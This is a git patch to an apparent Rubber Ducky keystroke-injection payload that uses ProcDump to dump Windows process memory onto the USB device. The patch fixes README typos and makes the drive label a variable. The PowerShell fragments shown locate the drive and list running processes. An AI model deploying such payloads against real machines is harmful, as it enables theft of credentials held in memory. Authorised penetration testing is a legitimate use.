From 821255659e67eeee4943de0a79df0635d6a55df8 Mon Sep 17 00:00:00 2001 From: Aleff Date: Thu, 23 May 2024 18:05:34 +0200 Subject: [PATCH] Tip from hak5peaks --- .../Dump_Windows_Memory_Through_ProcDump/README.md | 2 +- .../Dump_Windows_Memory_Through_ProcDump/payload.txt | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/payloads/library/exfiltration/Dump_Windows_Memory_Through_ProcDump/README.md b/payloads/library/exfiltration/Dump_Windows_Memory_Through_ProcDump/README.md index 612ce20..6c912f6 100644 --- a/payloads/library/exfiltration/Dump_Windows_Memory_Through_ProcDump/README.md +++ b/payloads/library/exfiltration/Dump_Windows_Memory_Through_ProcDump/README.md @@ -35,7 +35,7 @@ To obtain all active process PIDs the tasklist command is used, which provides t 1. Download ProcDump\[5]. 2. Move the extracted ProcDump folder or directly the executable, as you prefer, inside Rubber Ducky's memory. 3. Then you have to change the variable `$WHAT_EXE_DO_YOU_WANT_TO_USE` if you want to use an executable other than `procdump64a.exe`, i.e. `procdump.exe` and, in this case, you have to change the variable to `procdump`. -4. When you put the executable(s) inside the Rubber Ducky memory you must indicate the path where is stored, i.e. if the executable is inside the path `F:\ProcDump\Procdump\procdump.exe` you must change the variable `$PATH_TO_EXE` into `\ProcDump\Procdump\` mean while if it is insie the path `F:\somethingelse\procdump.exe` you must change this varaible into `\somethingelse\`. +4. When you put the executable(s) inside the Rubber Ducky memory you must indicate the path where is stored, i.e. if the executable is inside the path `F:\ProcDump\Procdump\procdump.exe` you must change the variable `$PATH_TO_EXE` into `\ProcDump\Procdump\` mean while if it is inside the path `F:\somethingelse\procdump.exe` you must change this variable into `\somethingelse\`. ## Read More diff --git a/payloads/library/exfiltration/Dump_Windows_Memory_Through_ProcDump/payload.txt b/payloads/library/exfiltration/Dump_Windows_Memory_Through_ProcDump/payload.txt index 4cafa08..dd4dd1c 100644 --- a/payloads/library/exfiltration/Dump_Windows_Memory_Through_ProcDump/payload.txt +++ b/payloads/library/exfiltration/Dump_Windows_Memory_Through_ProcDump/payload.txt @@ -19,6 +19,9 @@ DEFINE $WHAT_EXE_DO_YOU_WANT_TO_USE procdump64a REM Path to the EXE file stored in the usb, i.e. if 'F:\ProcDump\Procdump\procdump.exe' you must use '\ProcDump\Procdump\' DEFINE $PATH_TO_EXE \ProcDump\Procdump\ +REM Driver Label of your RubberDucky - Default: DUCKY +DEFINE #DUCKY_DRIVE_LABEL DUCKY + EXTENSION DETECT_READY REM VERSION 1.1 @@ -56,7 +59,7 @@ ENTER DELAY 2000 STRINGLN_POWERSHELL - $m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter; + $m=(Get-Volume -FileSystemLabel '#DUCKY_DRIVE_LABEL').DriveLetter; $m+=":"; cd "$m\\"; $a=tasklist /FI "Status eq Running" /FO LIST;